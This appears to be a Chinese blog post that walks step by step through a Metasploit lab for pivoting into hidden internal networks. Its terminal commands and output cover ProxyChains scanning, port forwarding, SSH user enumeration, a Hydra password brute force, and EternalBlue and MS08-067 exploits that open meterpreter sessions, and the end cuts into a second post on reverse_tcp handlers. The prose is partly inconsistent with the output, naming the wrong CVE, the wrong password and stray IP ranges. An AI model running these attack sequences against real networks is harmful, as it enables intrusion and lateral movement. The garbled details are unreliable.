|S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:135-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:139-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:445-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:139-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:135-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:445-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK Nmap scan report for 192.168.127.130 Host is up (0.15s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45) |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) Service Info: Host: W-Y-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.30 seconds root@kali:~# 根据扫描的结果，目标系统中运行着SSH以及HTTP服务。在进一步利用之前，我们还将涉及另一种被称之为端口转发的通信路由(traffic routing)技术。\n端口转发 # 端口转发是实现中转跳板的基本步骤，目前还无法直接访问到隐藏网络中的服务，这是因为没有建立双向路由。我们知道如何到达目标系统，所以可以发起请求。但这个请求会失败，这是因为目标系统不知道如何到达我们这边。\n基于这个原因，我们可以通过定义meterpreter会话在我们的本地开启一个端口，将本地数据包发送到目的地。只要进程存活，路由就会一直工作。\n再此须谨记，run autoroute命令建立的路由仅在Metasploit框架下有效，我们也可以尝试使用kali工具实现目的，这里我们就要借助类似端口转发的工具或是proxychains。\n使用portfwd模块(Metasploit中的一个post模块)可完成端口转发\nmeterpreter \u0026gt; portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L \u0026lt;opt\u0026gt; Forward: local host to listen on (optional). Reverse: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i \u0026lt;opt\u0026gt; Index of the port forward entry to interact with (see the \u0026#34;list\u0026#34; command). -l \u0026lt;opt\u0026gt; Forward: local port to listen on. Reverse: local port to connect to. -p \u0026lt;opt\u0026gt; Forward: remote port to connect to. Reverse: remote port to listen on. -r \u0026lt;opt\u0026gt; Forward: remote host to connect to. 当我们在浏览器中向本地2323端口发送一个链接请求时，该连接请求将会转发到IP地址为192.168.127.130的计算机的80端口。\n得益于ProxyChains和Nmap，早先我们就已经确定了web服务运行在192.168.127.130的80端口。为了访问这个服务，本地系统的2323端口将被转发到192.168.127.30的80端口\nmeterpreter \u0026gt; portfwd add -L 192.168.177.131 -l 2323 -r 192.168.127.130 -p 80 [*] Local TCP relay created: 192.168.177.131:2323 \u0026lt;-\u0026gt; 192.168.127.130:80 meterpreter \u0026gt; 通过portfwd list命令可以查看当前活跃的端口转发规则：\nmeterpreter \u0026gt; portfwd list Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 192.168.177.131:2323 192.168.127.130:80 Forward 1 total active port forwards. meterpreter \u0026gt; 检测到IP地址为7.7.7.20目标系统的80端口上运行着名为Eash File Sharing Web Server的应用访问代理后的web服务\n通过中转跳板进行SSH暴力破解 # 正如你看到的，我们检测到的192.168.127.130上有一个ssh服务。对该服务进行暴力破解十分简便。我们可以使用SSH_enumusers这个辅助模块来完成这项工作(这里可能是因为编码问题，报错，我们下面用同样九头蛇可以跑出来)：\nmsf5 auxiliary(server/socks4a) \u0026gt; use auxiliary/scanner/ssh/ssh_enumusers msf5 auxiliary(scanner/ssh/ssh_enumusers) \u0026gt; show options Module options (auxiliary/scanner/ssh/ssh_enumusers): Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_FALSE false no Check for false positives (random username) Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax \u0026#39;file:\u0026lt;path\u0026gt;\u0026#39; RPORT 22 yes The target port THREADS 1 yes The number of concurrent threads (max one per host) THRESHOLD 10 yes Amount of seconds needed before a user is considered found (timing attack only) USERNAME no Single username to test (username spray) USER_FILE no File containing usernames, one per line Auxiliary action: Name Description ---- ----------- Malformed Packet Use a malformed packet msf5 auxiliary(scanner/ssh/ssh_enumusers) \u0026gt; set rhosts 192.168.127.130 rhosts =\u0026gt; 192.168.127.130 msf5 auxiliary(scanner/ssh/ssh_enumusers) \u0026gt; set user_file /root/user.txt user_file =\u0026gt; /root/user.txt msf5 auxiliary(scanner/ssh/ssh_enumusers) \u0026gt; run [*] 192.168.127.130:22 - SSH - Using malformed packet technique [*] 192.168.127.130:22 - SSH - Starting scan [-] 192.168.127.130:22 - SSH - User \u0026#39;root\u0026#39; not found [+] 192.168.127.130:22 - SSH - User \u0026#39;admin\u0026#39; found [*] Caught interrupt from the console... [*] Auxiliary module execution completed 除了Metasploit框架中的辅助模块外，Kali工具包中的Hydra也可以完成这项任务。通过在ProxyChains下运行Hydra，所有的通信数据将会通过被控制的主机（双网卡主机）传送到目标系统上。\nroot@kali:~# proxychains hydra 192.168.127.130 ssh -s 22 -L /root/user.txt -P /root/pass.txt -t 4 ProxyChains-3.1 (http://proxychains.sf.net) Hydra v9.1 (c) 2020 by van Hauser/THC \u0026amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-06 15:34:31 [DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:2/p:4), ~2 tries per task [DATA] attacking ssh://192.168.127.130:22/ |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-|S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;-192.168.127.130:22-|S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-|S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK \u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK \u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK \u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-|S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK \u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK [22][ssh] host: 192.168.127.130 login: admin password: admin 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-06 15:34:35 root@kali:~# 使用Hydra执行brute-force攻击，我们获得代理服务器的用户名为admin，密码为123456。同时使用ProxyChains工具可以连接到远程的SSH服务\nroot@kali:~# proxychains ssh admin@192.168.127.130 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.127.130:22-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK The authenticity of host \u0026#39;192.168.127.130 (192.168.127.130)\u0026#39; can\u0026#39;t be established. ECDSA key fingerprint is SHA256:ttxfxdlGOb2UHHp8R0il3Am0Fi6r8syaALNatBtL3Fk. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;192.168.127.130\u0026#39; (ECDSA) to the list of known hosts. admin@192.168.127.130\u0026#39;s password: Microsoft Windows [版本 6.1.7601] 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。 admin@W-Y-PC C:\\Users\\admin\u0026gt;whoami w-y-pc\\admin admin@W-Y-PC C:\\Users\\admin\u0026gt; 获取第二层中转跳板的访问 # MS17-010搭配Bind TCP：\n该模块的完整路径为exploit/windows/smb/ms17_010_eternalblue，在Metasploit框架下利用MS08-067漏洞攻击目标系统。由于没有定义双向路由，目标系统无法直接到达我们的计算机，为此需要将bind_tcp设置为payload类型。在exploit操作成功之后，就将要对连接到目标系统的端口进行监听。bind_tcp和reverse_tcp的区别如下图：\n完整设置如下：\nmeterpreter \u0026gt; background [*] Backgrounding session 3... set payload windows/x64/meterpreter/bind_tcp payload =\u0026gt; windows/x64/meterpreter/bind_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) \u0026gt; show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax \u0026#39;file:\u0026lt;path\u0026gt;\u0026#39; RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Payload options (windows/x64/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: \u0026#39;\u0026#39;, seh, thread, process, none) LPORT 4444 yes The listen port RHOST no The target address Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs msf5 exploit(windows/smb/ms17_010_eternalblue) \u0026gt; set rhost 192.168.127.130 rhost =\u0026gt; 192.168.127.130 msf5 exploit(multi/handler) \u0026gt; use exploit/windows/smb/ms17_010_eternalblue [*] Using configured payload windows/x64/meterpreter/bind_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) \u0026gt; run [*] 192.168.127.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.127.130:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit) [*] 192.168.127.130:445 - Scanned 1 of 1 hosts (100% complete) [*] 192.168.127.130:445 - Connecting to target for exploitation. [+] 192.168.127.130:445 - Connection established for exploitation. [+] 192.168.127.130:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.127.130:445 - CORE raw buffer dump (40 bytes) [*] 192.168.127.130:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp [*] 192.168.127.130:445 - 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63 rise 7601 Servic [*] 192.168.127.130:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1 [+] 192.168.127.130:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.127.130:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.127.130:445 - Sending all but last fragment of exploit packet [*] 192.168.127.130:445 - Starting non-paged pool grooming [+] 192.168.127.130:445 - Sending SMBv2 buffers [+] 192.168.127.130:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.127.130:445 - Sending final SMBv2 buffers. [*] 192.168.127.130:445 - Sending last fragment of exploit packet! [*] 192.168.127.130:445 - Receiving response from exploit packet [+] 192.168.127.130:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.127.130:445 - Sending egg to corrupted connection. [*] 192.168.127.130:445 - Triggering free of corrupted buffer. [*] Started bind TCP handler against 192.168.127.130:4444 [*] Sending stage (201283 bytes) to 192.168.127.130 [*] Meterpreter session 4 opened (192.168.127.128:49630 -\u0026gt; 192.168.127.130:4444) at 2020-11-06 15:47:06 +0800 [+] 192.168.127.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.127.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.127.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter \u0026gt; 实验过程中可能会出现以下情况，比较玄学，需要靠运气：），如运气不佳请多尝试几次\nmsf5 exploit(windows/smb/ms17_010_eternalblue) \u0026gt; run [*] 192.168.127.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.127.130:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit) [*] 192.168.127.130:445 - Scanned 1 of 1 hosts (100% complete) [*] 192.168.127.130:445 - Connecting to target for exploitation. [+] 192.168.127.130:445 - Connection established for exploitation. [+] 192.168.127.130:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.127.130:445 - CORE raw buffer dump (40 bytes) [*] 192.168.127.130:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp [*] 192.168.127.130:445 - 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63 rise 7601 Servic [*] 192.168.127.130:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1 [+] 192.168.127.130:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.127.130:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.127.130:445 - Sending all but last fragment of exploit packet [*] 192.168.127.130:445 - Starting non-paged pool grooming [+] 192.168.127.130:445 - Sending SMBv2 buffers [+] 192.168.127.130:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.127.130:445 - Sending final SMBv2 buffers. [*] 192.168.127.130:445 - Sending last fragment of exploit packet! [*] 192.168.127.130:445 - Receiving response from exploit packet [+] 192.168.127.130:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.127.130:445 - Sending egg to corrupted connection. [*] 192.168.127.130:445 - Triggering free of corrupted buffer. [*] Started bind TCP handler against 192.168.127.130:4444 [-] 192.168.127.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [-] 192.168.127.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [-] 192.168.127.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] 192.168.127.130:445 - Connecting to target for exploitation. 攻击流程如下图\n由于我们可以访问到192.168.127.130机器，我们需要再次执行信息收集。被命名为JC的机器和RD机器一样有两张网卡，这也意味着我们找到了第二个隐藏网络(192.168.211.0/24)\nmeterpreter \u0026gt; run get_local_subnets [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Local subnet: 192.168.127.0/255.255.255.0 Local subnet: 192.168.211.0/255.255.255.0 添加路由\nmeterpreter \u0026gt; run autoroute -s 192.168.211.0/24 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 192.168.211.0/255.255.255.0... [+] Added route to 192.168.211.0/255.255.255.0 via 192.168.127.130 [*] Use the -p option to list all active routes meterpreter \u0026gt; run autoroute -p [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.127.0 255.255.255.0 Session 3 192.168.211.0 255.255.255.0 Session 4 在第二个隐藏网络下执行Arp扫描继续收集信息，ARP扫描结果显示在该网络下存在4台机器\nmeterpreter \u0026gt; run post/windows/gather/arp_scanner RHOSTS=192.168.211.0/24 [*] Running module against W-Y-PC [*] ARP Scanning 192.168.211.0/24 [+] IP: 192.168.211.1 MAC 00:50:56:c0:00:03 (VMware, Inc.) [+] IP: 192.168.211.129 MAC 00:0c:29:49:ab:41 (VMware, Inc.) [+] IP: 192.168.211.128 MAC 00:0c:29:f9:68:03 (VMware, Inc.) [+] IP: 192.168.211.255 MAC 00:0c:29:49:ab:41 (VMware, Inc.) [+] IP: 192.168.211.254 MAC 00:50:56:f5:f8:13 (VMware, Inc.) 两层层中转跳板 # 在JC主机上收集信息时发现了192.168.211.0/24网络，另外之前我们就已经建立了192.168.177.0/24到192.168.127.0/24网络的路由规则。 在当前的情况下，网络数据包从192.168.177.131发到JC设备(第二层中转跳板)，数据首先要发到RD设备(第一层中转跳板)，然后RD主机再将数据传送到JC主机。如果攻击者(192.168.177.131)想将数据发送到192.168.211.0/24网络(发现的第二个隐藏网络)的任何一个主机时，就得建立一个新的路由规则。为了使用Metasploit框架以外的其他工具，我们必须运行一个socks4代理服务来连接两个跳板主机，并在proxychains工具的配置文件中重新定义新的代理服务器。\n攻击者机器(192.168.177.131)尝试向192.168.211.128发送网络数据包，要经过以下中转：\nRD：我不知道怎么访问到192.168.211.128，但我知道哪个系统能访问到它，我可以将数据发给它。 JC：我知道怎么将数据从192.168.127.0/24网络发送到192.168.211.0/24网络。 数据流如下图所示：\n神器Proxychains # Proxychains工具负责连接代理服务器以及端对端的传输。在最后阶段，需要为新发现的192.168.211.0/24网络在本地1081端口设置一个新的socks4代理服务。\nmsf5 exploit(windows/smb/ms17_010_eternalblue) \u0026gt; use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) \u0026gt; show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 192.168.177.131 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy Run SOCKS4a proxy msf5 auxiliary(server/socks4a) \u0026gt; set srvport 1081 srvport =\u0026gt; 1081 msf5 auxiliary(server/socks4a) \u0026gt; run [*] Auxiliary module running as background job 1. [*] Starting the socks4a proxy server 在/etc/proxychains.conf配置文件中添加新的代理服务器。通过激活动态链设置，确保在不同的代理服务器之间能够正常切换。\nroot@kali:~# cat /etc/proxychains.conf |grep -v \u0026#34;#\u0026#34; dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks4 192.168.177.131 1080 socks4 192.168.177.131 1081 Proxychains工具通过第二层跳板主机，可以对8.8.8.0/24目标网络进行nmap扫描：\nroot@kali:~# proxychains nmap -sT -sV -p80,445 192.168.211.128 -n -Pn -vv ProxyChains-3.1 (http://proxychains.sf.net) Host discovery disabled (-Pn). All addresses will be marked \u0026#39;up\u0026#39; and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-06 16:13 CST NSE: Loaded 45 scripts for scanning. Initiating Connect Scan at 16:13 Scanning 192.168.211.128 [2 ports] |D-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;-192.168.177.131:1081-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.211.128:80-\u0026lt;--denied |D-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;-192.168.177.131:1081-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.211.128:445-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK Discovered open port 445/tcp on 192.168.211.128 Completed Connect Scan at 16:13, 1.27s elapsed (2 total ports) Initiating Service scan at 16:13 Scanning 1 service on 192.168.211.128 |D-chain|-\u0026lt;\u0026gt;-192.168.177.131:1080-\u0026lt;\u0026gt;-192.168.177.131:1081-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-192.168.211.128:445-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK Completed Service scan at 16:13, 6.45s elapsed (1 service on 1 host) NSE: Script scanning 192.168.211.128. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 16:13 Completed NSE at 16:13, 0.01s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 16:13 Completed NSE at 16:13, 0.00s elapsed Nmap scan report for 192.168.211.128 Host is up, received user-set (1.0s latency). Scanned at 2020-11-06 16:13:50 CST for 8s PORT STATE SERVICE REASON VERSION 80/tcp closed http conn-refused 445/tcp open microsoft-ds syn-ack Microsoft Windows XP microsoft-ds Service Info: OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.03 seconds root@kali:~# 以上，数据包穿透第一层代理服务器，又经过我们定义的第二层代理服务器，最终到达目的地。对扫描结果进行分析，发现192.168.211.128上445存在漏洞。以下步骤为在Metasploit框架中设置ms08_067利用模块进行攻击：\nmsf5 exploit(windows/smb/ms08_067_netapi) \u0026gt; show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.211.128 yes The target host(s), range CIDR identifier, or hosts file with syntax \u0026#39;file:\u0026lt;path\u0026gt;\u0026#39; RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: \u0026#39;\u0026#39;, seh, thread, process, none) LPORT 4444 yes The listen port RHOST 192.168.211.128 no The target address Exploit target: Id Name -- ---- 34 Windows XP SP3 Chinese - Simplified (NX) msf5 exploit(windows/smb/ms08_067_netapi) \u0026gt; check [+] 192.168.211.128:445 - The target is vulnerable. msf5 exploit(windows/smb/ms08_067_netapi) \u0026gt; run [*] 192.168.211.128:445 - Attempting to trigger the vulnerability... [*] Started bind TCP handler against 192.168.211.128:4444 [*] Sending stage (176195 bytes) to 192.168.211.128 [*] Meterpreter session 5 opened (192.168.211.129:49223 -\u0026gt; 192.168.211.128:4444) at 2020-11-06 16:19:04 +0800 meterpreter \u0026gt; sysinfo Computer : 1-155141BC06E74 OS : Windows XP (5.1 Build 2600, Service Pack 3). Architecture : x86 System Language : zh_CN Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter \u0026gt; 总结 # msf5 exploit(windows/smb/ms08_067_netapi) \u0026gt; sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 3 meterpreter x86/windows WIN-FVEF7SF4TF5\\Administrator @ WIN-FVEF7SF4TF5 192.168.177.131:1234 -\u0026gt; 192.168.177.134:49606 (192.168.177.134) 4 meterpreter x64/windows NT AUTHORITY\\SYSTEM @ W-Y-PC 192.168.127.128:49630 -\u0026gt; 192.168.127.130:4444 (192.168.127.130) 5 meterpreter x86/windows NT AUTHORITY\\SYSTEM @ 1-155141BC06E74 192.168.211.129:49223 -\u0026gt; 192.168.211.128:4444 (192.168.211.128) 攻击者通过以下步骤，发现了2个不同的隐藏网络：\n1.攻击者控制了RD主机，该主机和攻击机在同一个网络中\n2.得知RD主机有2张网卡\n3.通过使用autoroute post模块，定义一个路由规则\n4.攻击者对192.168.127.0/24网络执行ARP和NMAP扫描，之后发现了命名为JC的主机\n5.JC存在漏洞，为MS17_010\n6.成功利用MS17_010漏洞，获取192.168.127.130访问\n7.继续收集信息，发现JC也有2张网卡\n8.在192.168.127.130上添加第二个路由规则\n9.对192.168.211.0/24网络执行ARP和NMAP扫描\n10.在命名为SK的192.168.211.128机器上发现存在漏洞的ms08_067\n11.结束\n","date":"2020-11-06","externalUrl":null,"permalink":"/posts/msf%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/","section":"文章","summary":"本文转载自https://www.freebuf.com/articles/network/125278.html\n本文实操部分均为本人复现\n纵深防御也被被称之为“多层防御”，这样的概念被运用于“信息安全”上。以多层电脑安全技术去减轻其风险，在其中有些电脑被入侵或是泄密时，风险可以大大降低。举例来说，防毒软件被安装于个人工作站上，电脑中病毒在防火墙与服务器等其它类似环境中被拦劫下来。在信息技术世界中占据着举足轻重的地位。本文我们将通过示例分析攻击者是如何运用各种方法进行网络穿透的。\n何谓路由 # 确定设备如何在不同网络之间相互传输的过程，也即通过互联的网络把信息从源地址传输到目的地址的活动被称之为路由。通常用于执行路由活动的设备被称为路由器。通过使用路由表，路由器则规划网络包到各自目的地的线路。路由的功能不仅仅是诸如路由器等网络设备能够完成，在安装有该功能的任意计算机系统也能够完成。\n根据上图例子所示，为了在192.168.1.0/24与192.168.10.0/24网络之间进行通信是需要一个路由表记录的。根据路由器中的规则定义，数据需要从192.168.1.0/24源网络发到192.168.10.0/24目的网络中去。网络数据包大概会经历如下过程：\n要访问的IP地址是否就在本地网络？\n是否到达目的地 否则发送到网关 路由器接收到数据包就会查看其路由表\n","title":"MSF内网渗透","type":"posts"},{"content":"最近有个问题苦恼了我很久，“msf”是否可以控制多台服务器，怎么通过“msf”进行提权操作？\n这里我直接开启了两台win7SP1X64的主机，通过运行后门的方式获得shell，这里生成shell的步骤略过。\n获得服务器shell # 首先我们在kali里面开启msf并调用exploit/multi/handler\nmsf5 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set payload windows/meterpreter/reverse_tcp payload 